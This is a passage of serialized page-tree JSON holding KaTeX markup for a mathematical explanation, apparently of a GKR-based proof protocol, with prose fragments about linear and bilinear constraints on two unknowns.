",{"type":21,"tag":66,"props":119806,"children":119808},{"className":119807},[],[119809],{"type":26,"value":119523},{"type":26,"value":24386},{"type":21,"tag":22,"props":119812,"children":119813},{},[119814],{"type":21,"tag":66,"props":119815,"children":119817},{"className":119816},[4748,4749],[119818],{"type":21,"tag":85,"props":119819,"children":119821},{"className":119820},[4754],[119822],{"type":21,"tag":85,"props":119823,"children":119825},{"className":119824,"ariaHidden":4760},[4759],[119826,119997,120168],{"type":21,"tag":85,"props":119827,"children":119829},{"className":119828},[4765],[119830,119834,119891,119895,119904,119909,119918,119923,119984,119988,119993],{"type":21,"tag":85,"props":119831,"children":119833},{"className":119832,"style":93451},[4770],[],{"type":21,"tag":85,"props":119835,"children":119837},{"className":119836},[22052],[119838,119843],{"type":21,"tag":85,"props":119839,"children":119841},{"className":119840,"style":22059},[22052,22057,22058],[119842],{"type":26,"value":119107},{"type":21,"tag":85,"props":119844,"children":119846},{"className":119845},[4793],[119847],{"type":21,"tag":85,"props":119848,"children":119850},{"className":119849},[4798,22070],[119851,119880],{"type":21,"tag":85,"props":119852,"children":119854},{"className":119853},[4803],[119855,119875],{"type":21,"tag":85,"props":119856,"children":119858},{"className":119857,"style":114716},[4808],[119859],{"type":21,"tag":85,"props":119860,"children":119861},{"style":22083},[119862,119866],{"type":21,"tag":85,"props":119863,"children":119865},{"className":119864,"style":4818},[4817],[],{"type":21,"tag":85,"props":119867,"children":119869},{"className":119868},[4823,4824,4825,4826],[119870],{"type":21,"tag":85,"props":119871,"children":119873},{"className":119872},[4776,22016,4826],[119874],{"type":26,"value":3003},{"type":21,"tag":85,"props":119876,"children":119878},{"className":119877},[22173],[119879],{"type":26,"value":22176},{"type":21,"tag":85,"props":119881,"children":119883},{"className":119882},[4803],[119884],{"type":21,"tag":85,"props":119885,"children":119887},{"className":119886,"style":114996},[4808],[119888],{"type":21,"tag":85,"props":119889,"children":119890},{},[],{"type":21,"tag":85,"props":119892,"children":119894},{"className":119893,"style":4896},[4857],[],{"type":21,"tag":85,"props":119896,"children":119898},{"className":119897},[4776,26],[119899],{"type":21,"tag":85,"props":119900,"children":119902},{"className":119901},[4776],[119903],{"type":26,"value":94328},{"type":21,"tag":85,"props":119905,"children":119907},{"className":119906,"style":93509},[4776],[119908],{"type":26,"value":3856},{"type":21,"tag":85,"props":119910,"children":119912},{"className":119911},[4776,26],[119913],{"type":21,"tag":85,"props":119914,"children":119916},{"className":119915},[4776],[119917],{"type":26,"value":119183},{"type":21,"tag":85,"props":119919,"children":119921},{"className":119920,"style":93509},[4776],[119922],{"type":26,"value":3856},{"type":21,"tag":85,"props":119924,"children":119926},{"className":119925},[4776],[119927,119936],{"type":21,"tag":85,"props":119928,"children":119930},{"className":119929},[4776,26],[119931],{"type":21,"tag":85,"props":119932,"children":119934},{"className":119933},[4776],[119935],{"type":26,"value":119202},{"type":21,"tag":85,"props":119937,"children":119939},{"className":119938},[4793],[119940],{"type":21,"tag":85,"props":119941,"children":119943},{"className":119942},[4798,22070],[119944,119973],{"type":21,"tag":85,"props":119945,"children":119947},{"className":119946},[4803],[119948,119968],{"type":21,"tag":85,"props":119949,"children":119951},{"className":119950,"style":94038},[4808],[119952],{"type":21,"tag":85,"props":119953,"children":119954},{"style":114639},[119955,119959],{"type":21,"tag":85,"props":119956,"children":119958},{"className":119957,"style":4818},[4817],[],{"type":21,"tag":85,"props":119960,"children":119962},{"className":119961},[4823,4824,4825,4826],[119963],{"type":21,"tag":85,"props":119964,"children":119966},{"className":119965},[4776,22016,4826],[119967],{"type":26,"value":3003},{"type":21,"tag":85,"props":119969,"children":119971},{"className":119970},[22173],[119972],{"type":26,"value":22176},{"type":21,"tag":85,"props":119974,"children":119976},{"className":119975},[4803],[119977],{"type":21,"tag":85,"props":119978,"children":119980},{"className":119979,"style":93592},[4808],[119981],{"type":21,"tag":85,"props":119982,"children":119983},{},[],{"type":21,"tag":85,"props":119985,"children":119987},{"className":119986,"style":4955},[4857],[],{"type":21,"tag":85,"props":119989,"children":119991},{"className":119990},[4960],[119992],{"type":26,"value":741},{"type":21,"tag":85,"props":119994,"children":119996},{"className":119995,"style":4955},[4857],[],{"type":21,"tag":85,"props":119998,"children":120000},{"className":119999},[4765],[120001,120005,120062,120066,120075,120080,120089,120094,120155,120159,120164],{"type":21,"tag":85,"props":120002,"children":120004},{"className":120003,"style":119271},[4770],[],{"type":21,"tag":85,"props":120006,"children":120008},{"className":120007},[22052],[120009,120014],{"type":21,"tag":85,"props":120010,"children":120012},{"className":120011,"style":22059},[22052,22057,22058],[120013],{"type":26,"value":119107},{"type":21,"tag":85,"props":120015,"children":120017},{"className":120016},[4793],[120018],{"type":21,"tag":85,"props":120019,"children":120021},{"className":120020},[4798,22070],[120022,120051],{"type":21,"tag":85,"props":120023,"children":120025},{"className":120024},[4803],[120026,120046],{"type":21,"tag":85,"props":120027,"children":120029},{"className":120028,"style":114716},[4808],[120030],{"type":21,"tag":85,"props":120031,"children":120032},{"style":22083},[120033,120037],{"type":21,"tag":85,"props":120034,"children":120036},{"className":120035,"style":4818},[4817],[],{"type":21,"tag":85,"props":120038,"children":120040},{"className":120039},[4823,4824,4825,4826],[120041],{"type":21,"tag":85,"props":120042,"children":120044},{"className":120043,"style":114732},[4776,22016,4826],[120045],{"type":26,"value":3021},{"type":21,"tag":85,"props":120047,"children":120049},{"className":120048},[22173],[120050],{"type":26,"value":22176},{"type":21,"tag":85,"props":120052,"children":120054},{"className":120053},[4803],[120055],{"type":21,"tag":85,"props":120056,"children":120058},{"className":120057,"style":114747},[4808],[120059],{"type":21,"tag":85,"props":120060,"children":120061},{},[],{"type":21,"tag":85,"props":120063,"children":120065},{"className":120064,"style":4896},[4857],[],{"type":21,"tag":85,"props":120067,"children":120069},{"className":120068},[4776,26],[120070],{"type":21,"tag":85,"props":120071,"children":120073},{"className":120072},[4776],[120074],{"type":26,"value":50027},{"type":21,"tag":85,"props":120076,"children":120078},{"className":120077,"style":93509},[4776],[120079],{"type":26,"value":3856},{"type":21,"tag":85,"props":120081,"children":120083},{"className":120082},[4776,26],[120084],{"type":21,"tag":85,"props":120085,"children":120087},{"className":120086},[4776],[120088],{"type":26,"value":119183},{"type":21,"tag":85,"props":120090,"children":120092},{"className":120091,"style":93509},[4776],[120093],{"type":26,"value":3856},{"type":21,"tag":85,"props":120095,"children":120097},{"className":120096},[4776],[120098,120107],{"type":21,"tag":85,"props":120099,"children":120101},{"className":120100},[4776,26],[120102],{"type":21,"tag":85,"props":120103,"children":120105},{"className":120104},[4776],[120106],{"type":26,"value":119202},{"type":21,"tag":85,"props":120108,"children":120110},{"className":120109},[4793],[120111],{"type":21,"tag":85,"props":120112,"children":120114},{"className":120113},[4798,22070],[120115,120144],{"type":21,"tag":85,"props":120116,"children":120118},{"className":120117},[4803],[120119,120139],{"type":21,"tag":85,"props":120120,"children":120122},{"className":120121,"style":94038},[4808],[120123],{"type":21,"tag":85,"props":120124,"children":120125},{"style":114639},[120126,120130],{"type":21,"tag":85,"props":120127,"children":120129},{"className":120128,"style":4818},[4817],[],{"type":21,"tag":85,"props":120131,"children":120133},{"className":120132},[4823,4824,4825,4826],[120134],{"type":21,"tag":85,"props":120135,"children":120137},{"className":120136,"style":114732},[4776,22016,4826],[120138],{"type":26,"value":3021},{"type":21,"tag":85,"props":120140,"children":120142},{"className":120141},[22173],[120143],{"type":26,"value":22176},{"type":21,"tag":85,"props":120145,"children":120147},{"className":120146},[4803],[120148],{"type":21,"tag":85,"props":120149,"children":120151},{"className":120150,"style":119419},[4808],[120152],{"type":21,"tag":85,"props":120153,"children":120154},{},[],{"type":21,"tag":85,"props":120156,"children":120158},{"className":120157,"style":4858},[4857],[],{"type":21,"tag":85,"props":120160,"children":120162},{"className":120161},[4863],[120163],{"type":26,"value":111771},{"type":21,"tag":85,"props":120165,"children":120167},{"className":120166,"style":4858},[4857],[],{"type":21,"tag":85,"props":120169,"children":120171},{"className":120170},[4765],[120172,120176,120181,120190],{"type":21,"tag":85,"props":120173,"children":120175},{"className":120174,"style":4878},[4770],[],{"type":21,"tag":85,"props":120177,"children":120179},{"className":120178},[22145],[120180],{"type":26,"value":1439},{"type":21,"tag":85,"props":120182,"children":120184},{"className":120183},[4776,26],[120185],{"type":21,"tag":85,"props":120186,"children":120188},{"className":120187},[4776],[120189],{"type":26,"value":119459},{"type":21,"tag":85,"props":120191,"children":120193},{"className":120192},[22167],[120194],{"type":26,"value":1900},{"type":21,"tag":22,"props":120196,"children":120197},{},[120198,120200,120369,120370,120539],{"type":26,"value":120199},"If we vary ",{"type":21,"tag":66,"props":120201,"children":120203},{"className":120202},[4748,4749],[120204],{"type":21,"tag":85,"props":120205,"children":120207},{"className":120206},[4754],[120208],{"type":21,"tag":85,"props":120209,"children":120211},{"className":120210,"ariaHidden":4760},[4759],[120212,120290],{"type":21,"tag":85,"props":120213,"children":120215},{"className":120214},[4765],[120216,120220,120277,120281,120286],{"type":21,"tag":85,"props":120217,"children":120219},{"className":120218,"style":110479},[4770],[],{"type":21,"tag":85,"props":120221,"children":120223},{"className":120222},[4776],[120224,120229],{"type":21,"tag":85,"props":120225,"children":120227},{"className":120226},[4776,22016],[120228],{"type":26,"value":19702},{"type":21,"tag":85,"props":120230,"children":120232},{"className":120231},[4793],[120233],{"type":21,"tag":85,"props":120234,"children":120236},{"className":120235},[4798,22070],[120237,120266],{"type":21,"tag":85,"props":120238,"children":120240},{"className":120239},[4803],[120241,120261],{"type":21,"tag":85,"props":120242,"children":120244},{"className":120243,"style":93561},[4808],[120245],{"type":21,"tag":85,"props":120246,"children":120247},{"style":93565},[120248,120252],{"type":21,"tag":85,"props":120249,"children":120251},{"className":120250,"style":4818},[4817],[],{"type":21,"tag":85,"props":120253,"children":120255},{"className":120254},[4823,4824,4825,4826],[120256],{"type":21,"tag":85,"props":120257,"children":120259},{"className":120258},[4776,4826],[120260],{"type":26,"value":4789},{"type":21,"tag":85,"props":120262,"children":120264},{"className":120263},[22173],[120265],{"type":26,"value":22176},{"type":21,"tag":85,"props":120267,"children":120269},{"className":120268},[4803],[120270],{"type":21,"tag":85,"props":120271,"children":120273},{"className":120272,"style":93592},[4808],[120274],{"type":21,"tag":85,"props":120275,"children":120276},{},[],{"type":21,"tag":85,"props":120278,"children":120280},{"className":120279,"style":4955},[4857],[],{"type":21,"tag":85,"props":120282,"children":120284},{"className":120283},[4960],[120285],{"type":26,"value":741},{"type":21,"tag":85,"props":120287,"children":120289},{"className":120288,"style":4955},[4857],[],{"type":21,"tag":85,"props":120291,"children":120293},{"className":120292},[4765],[120294,120298,120339,120344,120349,120354,120359,120364],{"type":21,"tag":85,"props":120295,"children":120297},{"className":120296,"style":93451},[4770],[],{"type":21,"tag":85,"props":120299,"children":120301},{"className":120300},[4776],[120302,120311,120316,120325,120330],{"type":21,"tag":85,"props":120303,"children":120305},{"className":120304},[4776,26],[120306],{"type":21,"tag":85,"props":120307,"children":120309},{"className":120308},[4776],[120310],{"type":26,"value":94328},{"type":21,"tag":85,"props":120312,"children":120314},{"className":120313,"style":93509},[4776],[120315],{"type":26,"value":3856},{"type":21,"tag":85,"props":120317,"children":120319},{"className":120318},[4776,26],[120320],{"type":21,"tag":85,"props":120321,"children":120323},{"className":120322},[4776],[120324],{"type":26,"value":119183},{"type":21,"tag":85,"props":120326,"children":120328},{"className":120327,"style":93509},[4776],[120329],{"type":26,"value":3856},{"type":21,"tag":85,"props":120331,"children":120333},{"className":120332},[4776,26],[120334],{"type":21,"tag":85,"props":120335,"children":120337},{"className":120336},[4776],[120338],{"type":26,"value":119202},{"type":21,"tag":85,"props":120340,"children":120342},{"className":120341},[22145],[120343],{"type":26,"value":3016},{"type":21,"tag":85,"props":120345,"children":120347},{"className":120346},[4776],[120348],{"type":26,"value":4789},{"type":21,"tag":85,"props":120350,"children":120352},{"className":120351},[22167],[120353],{"type":26,"value":15830},{"type":21,"tag":85,"props":120355,"children":120357},{"className":120356},[22145],[120358],{"type":26,"value":3016},{"type":21,"tag":85,"props":120360,"children":120362},{"className":120361},[4776],[120363],{"type":26,"value":4789},{"type":21,"tag":85,"props":120365,"children":120367},{"className":120366},[22167],[120368],{"type":26,"value":15830},{"type":26,"value":11408},{"type":21,"tag":66,"props":120371,"children":120373},{"className":120372},[4748,4749],[120374],{"type":21,"tag":85,"props":120375,"children":120377},{"className":120376},[4754],[120378],{"type":21,"tag":85,"props":120379,"children":120381},{"className":120380,"ariaHidden":4760},[4759],[120382,120460],{"type":21,"tag":85,"props":120383,"children":120385},{"className":120384},[4765],[120386,120390,120447,120451,120456],{"type":21,"tag":85,"props":120387,"children":120389},{"className":120388,"style":110479},[4770],[],{"type":21,"tag":85,"props":120391,"children":120393},{"className":120392},[4776],[120394,120399],{"type":21,"tag":85,"props":120395,"children":120397},{"className":120396},[4776,22016],[120398],{"type":26,"value":19702},{"type":21,"tag":85,"props":120400,"children":120402},{"className":120401},[4793],[120403],{"type":21,"tag":85,"props":120404,"children":120406},{"className":120405},[4798,22070],[120407,120436],{"type":21,"tag":85,"props":120408,"children":120410},{"className":120409},[4803],[120411,120431],{"type":21,"tag":85,"props":120412,"children":120414},{"className":120413,"style":93561},[4808],[120415],{"type":21,"tag":85,"props":120416,"children":120417},{"style":93565},[120418,120422],{"type":21,"tag":85,"props":120419,"children":120421},{"className":120420,"style":4818},[4817],[],{"type":21,"tag":85,"props":120423,"children":120425},{"className":120424},[4823,4824,4825,4826],[120426],{"type":21,"tag":85,"props":120427,"children":120429},{"className":120428},[4776,4826],[120430],{"type":26,"value":4779},{"type":21,"tag":85,"props":120432,"children":120434},{"className":120433},[22173],[120435],{"type":26,"value":22176},{"type":21,"tag":85,"props":120437,"children":120439},{"className":120438},[4803],[120440],{"type":21,"tag":85,"props":120441,"children":120443},{"className":120442,"style":93592},[4808],[120444],{"type":21,"tag":85,"props":120445,"children":120446},{},[],{"type":21,"tag":85,"props":120448,"children":120450},{"className":120449,"style":4955},[4857],[],{"type":21,"tag":85,"props":120452,"children":120454},{"className":120453},[4960],[120455],{"type":26,"value":741},{"type":21,"tag":85,"props":120457,"children":120459},{"className":120458,"style":4955},[4857],[],{"type":21,"tag":85,"props":120461,"children":120463},{"className":120462},[4765],[120464,120468,120509,120514,120519,120524,120529,120534],{"type":21,"tag":85,"props":120465,"children":120467},{"className":120466,"style":93451},[4770],[],{"type":21,"tag":85,"props":120469,"children":120471},{"className":120470},[4776],[120472,120481,120486,120495,120500],{"type":21,"tag":85,"props":120473,"children":120475},{"className":120474},[4776,26],[120476],{"type":21,"tag":85,"props":120477,"children":120479},{"className":120478},[4776],[120480],{"type":26,"value":94328},{"type":21,"tag":85,"props":120482,"children":120484},{"className":120483,"style":93509},[4776],[120485],{"type":26,"value":3856},{"type":21,"tag":85,"props":120487,"children":120489},{"className":120488},[4776,26],[120490],{"type":21,"tag":85,"props":120491,"children":120493},{"className":120492},[4776],[120494],{"type":26,"value":119183},{"type":21,"tag":85,"props":120496,"children":120498},{"className":120497,"style":93509},[4776],[120499],{"type":26,"value":3856},{"type":21,"tag":85,"props":120501,"children":120503},{"className":120502},[4776,26],[120504],{"type":21,"tag":85,"props":120505,"children":120507},{"className":120506},[4776],[120508],{"type":26,"value":119202},{"type":21,"tag":85,"props":120510,"children":120512},{"className":120511},[22145],[120513],{"type":26,"value":3016},{"type":21,"tag":85,"props":120515,"children":120517},{"className":120516},[4776],[120518],{"type":26,"value":4789},{"type":21,"tag":85,"props":120520,"children":120522},{"className":120521},[22167],[120523],{"type":26,"value":15830},{"type":21,"tag":85,"props":120525,"children":120527},{"className":120526},[22145],[120528],{"type":26,"value":3016},{"type":21,"tag":85,"props":120530,"children":120532},{"className":120531},[4776],[120533],{"type":26,"value":4779},{"type":21,"tag":85,"props":120535,"children":120537},{"className":120536},[22167],[120538],{"type":26,"value":15830},{"type":26,"value":120540}," we get the following constraint:",{"type":21,"tag":22,"props":120542,"children":120543},{},[120544],{"type":21,"tag":66,"props":120545,"children":120547},{"className":120546},[4748,4749],[120548],{"type":21,"tag":85,"props":120549,"children":120551},{"className":120550},[4754],[120552],{"type":21,"tag":85,"props":120553,"children":120555},{"className":120554,"ariaHidden":4760},[4759],[120556,120635,120713,120754],{"type":21,"tag":85,"props":120557,"children":120559},{"className":120558},[4765],[120560,120565,120622,120626,120631],{"type":21,"tag":85,"props":120561,"children":120564},{"className":120562,"style":120563},[4770],"height:0.5945em;vertical-align:-0.15em;",[],{"type":21,"tag":85,"props":120566,"children":120568},{"className":120567},[4776],[120569,120574],{"type":21,"tag":85,"props":120570,"children":120572},{"className":120571},[4776,22016],[120573],{"type":26,"value":19702},{"type":21,"tag":85,"props":120575,"children":120577},{"className":120576},[4793],[120578],{"type":21,"tag":85,"props":120579,"children":120581},{"className":120580},[4798,22070],[120582,120611],{"type":21,"tag":85,"props":120583,"children":120585},{"className":120584},[4803],[120586,120606],{"type":21,"tag":85,"props":120587,"children":120589},{"className":120588,"style":93561},[4808],[120590],{"type":21,"tag":85,"props":120591,"children":120592},{"style":93565},[120593,120597],{"type":21,"tag":85,"props":120594,"children":120596},{"className":120595,"style":4818},[4817],[],{"type":21,"tag":85,"props":120598,"children":120600},{"className":120599},[4823,4824,4825,4826],[120601],{"type":21,"tag":85,"props":120602,"children":120604},{"className":120603},[4776,4826],[120605],{"type":26,"value":4789},{"type":21,"tag":85,"props":120607,"children":120609},{"className":120608},[22173],[120610],{"type":26,"value":22176},{"type":21,"tag":85,"props":120612,"children":120614},{"className":120613},[4803],[120615],{"type":21,"tag":85,"props":120616,"children":120618},{"className":120617,"style":93592},[4808],[120619],{"type":21,"tag":85,"props":120620,"children":120621},{},[],{"type":21,"tag":85,"props":120623,"children":120625},{"className":120624,"style":4858},[4857],[],{"type":21,"tag":85,"props":120627,"children":120629},{"className":120628},[4863],[120630],{"type":26,"value":111771},{"type":21,"tag":85,"props":120632,"children":120634},{"className":120633,"style":4858},[4857],[],{"type":21,"tag":85,"props":120636,"children":120638},{"className":120637},[4765],[120639,120643,120700,120704,120709],{"type":21,"tag":85,"props":120640,"children":120642},{"className":120641,"style":120563},[4770],[],{"type":21,"tag":85,"props":120644,"children":120646},{"className":120645},[4776],[120647,120652],{"type":21,"tag":85,"props":120648,"children":120650},{"className":120649},[4776,22016],[120651],{"type":26,"value":19702},{"type":21,"tag":85,"props":120653,"children":120655},{"className":120654},[4793],[120656],{"type":21,"tag":85,"props":120657,"children":120659},{"className":120658},[4798,22070],[120660,120689],{"type":21,"tag":85,"props":120661,"children":120663},{"className":120662},[4803],[120664,120684],{"type":21,"tag":85,"props":120665,"children":120667},{"className":120666,"style":93561},[4808],[120668],{"type":21,"tag":85,"props":120669,"children":120670},{"style":93565},[120671,120675],{"type":21,"tag":85,"props":120672,"children":120674},{"className":120673,"style":4818},[4817],[],{"type":21,"tag":85,"props":120676,"children":120678},{"className":120677},[4823,4824,4825,4826],[120679],{"type":21,"tag":85,"props":120680,"children":120682},{"className":120681},[4776,4826],[120683],{"type":26,"value":4779},{"type":21,"tag":85,"props":120685,"children":120687},{"className":120686},[22173],[120688],{"type":26,"value":22176},{"type":21,"tag":85,"props":120690,"children":120692},{"className":120691},[4803],[120693],{"type":21,"tag":85,"props":120694,"children":120696},{"className":120695,"style":93592},[4808],[120697],{"type":21,"tag":85,"props":120698,"children":120699},{},[],{"type":21,"tag":85,"props":120701,"children":120703},{"className":120702,"style":4858},[4857],[],{"type":21,"tag":85,"props":120705,"children":120707},{"className":120706},[4863],[120708],{"type":26,"value":111771},{"type":21,"tag":85,"props":120710,"children":120712},{"className":120711,"style":4858},[4857],[],{"type":21,"tag":85,"props":120714,"children":120716},{"className":120715},[4765],[120717,120721,120726,120736,120741,120745,120750],{"type":21,"tag":85,"props":120718,"children":120720},{"className":120719,"style":4878},[4770],[],{"type":21,"tag":85,"props":120722,"children":120724},{"className":120723},[22145],[120725],{"type":26,"value":1439},{"type":21,"tag":85,"props":120727,"children":120729},{"className":120728},[4776,26],[120730],{"type":21,"tag":85,"props":120731,"children":120733},{"className":120732},[4776],[120734],{"type":26,"value":120735},"rest of product",{"type":21,"tag":85,"props":120737,"children":120739},{"className":120738},[22167],[120740],{"type":26,"value":1900},{"type":21,"tag":85,"props":120742,"children":120744},{"className":120743,"style":4955},[4857],[],{"type":21,"tag":85,"props":120746,"children":120748},{"className":120747},[4960],[120749],{"type":26,"value":741},{"type":21,"tag":85,"props":120751,"children":120753},{"className":120752,"style":4955},[4857],[],{"type":21,"tag":85,"props":120755,"children":120757},{"className":120756},[4765],[120758,120762],{"type":21,"tag":85,"props":120759,"children":120761},{"className":120760,"style":115529},[4770],[],{"type":21,"tag":85,"props":120763,"children":120765},{"className":120764},[4776,26],[120766],{"type":21,"tag":85,"props":120767,"children":120769},{"className":120768},[4776],[120770],{"type":26,"value":115540},{"type":21,"tag":22,"props":120772,"children":120773},{},[120774,120776,120929],{"type":26,"value":120775},"This is bilinear in ",{"type":21,"tag":66,"props":120777,"children":120779},{"className":120778},[4748,4749],[120780],{"type":21,"tag":85,"props":120781,"children":120783},{"className":120782},[4754],[120784],{"type":21,"tag":85,"props":120785,"children":120787},{"className":120786,"ariaHidden":4760},[4759],[120788],{"type":21,"tag":85,"props":120789,"children":120791},{"className":120790},[4765],[120792,120796,120801,120858,120863,120867,120924],{"type":21,"tag":85,"props":120793,"children":120795},{"className":120794,"style":4878},[4770],[],{"type":21,"tag":85,"props":120797,"children":120799},{"className":120798},[22145],[120800],{"type":26,"value":1439},{"type":21,"tag":85,"props":120802,"children":120804},{"className":120803},[4776],[120805,120810],{"type":21,"tag":85,"props":120806,"children":120808},{"className":120807},[4776,22016],[120809],{"type":26,"value":19702},{"type":21,"tag":85,"props":120811,"children":120813},{"className":120812},[4793],[120814],{"type":21,"tag":85,"props":120815,"children":120817},{"className":120816},[4798,22070],[120818,120847],{"type":21,"tag":85,"props":120819,"children":120821},{"className":120820},[4803],[120822,120842],{"type":21,"tag":85,"props":120823,"children":120825},{"className":120824,"style":93561},[4808],[120826],{"type":21,"tag":85,"props":120827,"children":120828},{"style":93565},[120829,120833],{"type":21,"tag":85,"props":120830,"children":120832},{"className":120831,"style":4818},[4817],[],{"type":21,"tag":85,"props":120834,"children":120836},{"className":120835},[4823,4824,4825,4826],[120837],{"type":21,"tag":85,"props":120838,"children":120840},{"className":120839},[4776,4826],[120841],{"type":26,"value":4789},{"type":21,"tag":85,"props":120843,"children":120845},{"className":120844},[22173],[120846],{"type":26,"value":22176},{"type":21,"tag":85,"props":120848,"children":120850},{"className":120849},[4803],[120851],{"type":21,"tag":85,"props":120852,"children":120854},{"className":120853,"style":93592},[4808],[120855],{"type":21,"tag":85,"props":120856,"children":120857},{},[],{"type":21,"tag":85,"props":120859,"children":120861},{"className":120860},[4889],[120862],{"type":26,"value":4892},{"type":21,"tag":85,"props":120864,"children":120866},{"className":120865,"style":4896},[4857],[],{"type":21,"tag":85,"props":120868,"children":120870},{"className":120869},[4776],[120871,120876],{"type":21,"tag":85,"props":120872,"children":120874},{"className":120873},[4776,22016],[120875],{"type":26,"value":19702},{"type":21,"tag":85,"props":120877,"children":120879},{"className":120878},[4793],[120880],{"type":21,"tag":85,"props":120881,"children":120883},{"className":120882},[4798,22070],[120884,120913],{"type":21,"tag":85,"props":120885,"children":120887},{"className":120886},[4803],[120888,120908],{"type":21,"tag":85,"props":120889,"children":120891},{"className":120890,"style":93561},[4808],[120892],{"type":21,"tag":85,"props":120893,"children":120894},{"style":93565},[120895,120899],{"type":21,"tag":85,"props":120896,"children":120898},{"className":120897,"style":4818},[4817],[],{"type":21,"tag":85,"props":120900,"children":120902},{"className":120901},[4823,4824,4825,4826],[120903],{"type":21,"tag":85,"props":120904,"children":120906},{"className":120905},[4776,4826],[120907],{"type":26,"value":4779},{"type":21,"tag":85,"props":120909,"children":120911},{"className":120910},[22173],[120912],{"type":26,"value":22176},{"type":21,"tag":85,"props":120914,"children":120916},{"className":120915},[4803],[120917],{"type":21,"tag":85,"props":120918,"children":120920},{"className":120919,"style":93592},[4808],[120921],{"type":21,"tag":85,"props":120922,"children":120923},{},[],{"type":21,"tag":85,"props":120925,"children":120927},{"className":120926},[22167],[120928],{"type":26,"value":1900},{"type":26,"value":73},{"type":21,"tag":22,"props":120931,"children":120932},{},[120933,120935,121088],{"type":26,"value":120934},"We have two unknowns ",{"type":21,"tag":66,"props":120936,"children":120938},{"className":120937},[4748,4749],[120939],{"type":21,"tag":85,"props":120940,"children":120942},{"className":120941},[4754],[120943],{"type":21,"tag":85,"props":120944,"children":120946},{"className":120945,"ariaHidden":4760},[4759],[120947],{"type":21,"tag":85,"props":120948,"children":120950},{"className":120949},[4765],[120951,120955,120960,121017,121022,121026,121083],{"type":21,"tag":85,"props":120952,"children":120954},{"className":120953,"style":4878},[4770],[],{"type":21,"tag":85,"props":120956,"children":120958},{"className":120957},[22145],[120959],{"type":26,"value":1439},{"type":21,"tag":85,"props":120961,"children":120963},{"className":120962},[4776],[120964,120969],{"type":21,"tag":85,"props":120965,"children":120967},{"className":120966},[4776,22016],[120968],{"type":26,"value":19702},{"type":21,"tag":85,"props":120970,"children":120972},{"className":120971},[4793],[120973],{"type":21,"tag":85,"props":120974,"children":120976},{"className":120975},[4798,22070],[120977,121006],{"type":21,"tag":85,"props":120978,"children":120980},{"className":120979},[4803],[120981,121001],{"type":21,"tag":85,"props":120982,"children":120984},{"className":120983,"style":93561},[4808],[120985],{"type":21,"tag":85,"props":120986,"children":120987},{"style":93565},[120988,120992],{"type":21,"tag":85,"props":120989,"children":120991},{"className":120990,"style":4818},[4817],[],{"type":21,"tag":85,"props":120993,"children":120995},{"className":120994},[4823,4824,4825,4826],[120996],{"type":21,"tag":85,"props":120997,"children":120999},{"className":120998},[4776,4826],[121000],{"type":26,"value":4789},{"type":21,"tag":85,"props":121002,"children":121004},{"className":121003},[22173],[121005],{"type":26,"value":22176},{"type":21,"tag":85,"props":121007,"children":121009},{"className":121008},[4803],[121010],{"type":21,"tag":85,"props":121011,"children":121013},{"className":121012,"style":93592},[4808],[121014],{"type":21,"tag":85,"props":121015,"children":121016},{},[],{"type":21,"tag":85,"props":121018,"children":121020},{"className":121019},[4889],[121021],{"type":26,"value":4892},{"type":21,"tag":85,"props":121023,"children":121025},{"className":121024,"style":4896},[4857],[],{"type":21,"tag":85,"props":121027,"children":121029},{"className":121028},[4776],[121030,121035],{"type":21,"tag":85,"props":121031,"children":121033},{"className":121032},[4776,22016],[121034],{"type":26,"value":19702},{"type":21,"tag":85,"props":121036,"children":121038},{"className":121037},[4793],[121039],{"type":21,"tag":85,"props":121040,"children":121042},{"className":121041},[4798,22070],[121043,121072],{"type":21,"tag":85,"props":121044,"children":121046},{"className":121045},[4803],[121047,121067],{"type":21,"tag":85,"props":121048,"children":121050},{"className":121049,"style":93561},[4808],[121051],{"type":21,"tag":85,"props":121052,"children":121053},{"style":93565},[121054,121058],{"type":21,"tag":85,"props":121055,"children":121057},{"className":121056,"style":4818},[4817],[],{"type":21,"tag":85,"props":121059,"children":121061},{"className":121060},[4823,4824,4825,4826],[121062],{"type":21,"tag":85,"props":121063,"children":121065},{"className":121064},[4776,4826],[121066],{"type":26,"value":4779},{"type":21,"tag":85,"props":121068,"children":121070},{"className":121069},[22173],[121071],{"type":26,"value":22176},{"type":21,"tag":85,"props":121073,"children":121075},{"className":121074},[4803],[121076],{"type":21,"tag":85,"props":121077,"children":121079},{"className":121078,"style":93592},[4808],[121080],{"type":21,"tag":85,"props":121081,"children":121082},{},[],{"type":21,"tag":85,"props":121084,"children":121086},{"className":121085},[22167],[121087],{"type":26,"value":1900},{"type":26,"value":121089}," and two equations, one linear and one bilinear:",{"type":21,"tag":841,"props":121091,"children":121092},{},[121093,121420],{"type":21,"tag":845,"props":121094,"children":121095},{},[121096,121098],{"type":26,"value":121097},"Linear (from GKR): ",{"type":21,"tag":66,"props":121099,"children":121101},{"className":121100},[4748,4749],[121102],{"type":21,"tag":85,"props":121103,"children":121105},{"className":121104},[4754],[121106],{"type":21,"tag":85,"props":121107,"children":121109},{"className":121108,"ariaHidden":4760},[4759],[121110,121246,121381,121407],{"type":21,"tag":85,"props":121111,"children":121113},{"className":121112},[4765],[121114,121119,121176,121233,121237,121242],{"type":21,"tag":85,"props":121115,"children":121118},{"className":121116,"style":121117},[4770],"height:0.7333em;vertical-align:-0.15em;",[],{"type":21,"tag":85,"props":121120,"children":121122},{"className":121121},[4776],[121123,121128],{"type":21,"tag":85,"props":121124,"children":121126},{"className":121125},[4776,22016],[121127],{"type":26,"value":335},{"type":21,"tag":85,"props":121129,"children":121131},{"className":121130},[4793],[121132],{"type":21,"tag":85,"props":121133,"children":121135},{"className":121134},[4798,22070],[121136,121165],{"type":21,"tag":85,"props":121137,"children":121139},{"className":121138},[4803],[121140,121160],{"type":21,"tag":85,"props":121141,"children":121143},{"className":121142,"style":93561},[4808],[121144],{"type":21,"tag":85,"props":121145,"children":121146},{"style":93565},[121147,121151],{"type":21,"tag":85,"props":121148,"children":121150},{"className":121149,"style":4818},[4817],[],{"type":21,"tag":85,"props":121152,"children":121154},{"className":121153},[4823,4824,4825,4826],[121155],{"type":21,"tag":85,"props":121156,"children":121158},{"className":121157},[4776,4826],[121159],{"type":26,"value":4789},{"type":21,"tag":85,"props":121161,"children":121163},{"className":121162},[22173],[121164],{"type":26,"value":22176},{"type":21,"tag":85,"props":121166,"children":121168},{"className":121167},[4803],[121169],{"type":21,"tag":85,"props":121170,"children":121172},{"className":121171,"style":93592},[4808],[121173],{"type":21,"tag":85,"props":121174,"children":121175},{},[],{"type":21,"tag":85,"props":121177,"children":121179},{"className":121178},[4776],[121180,121185],{"type":21,"tag":85,"props":121181,"children":121183},{"className":1211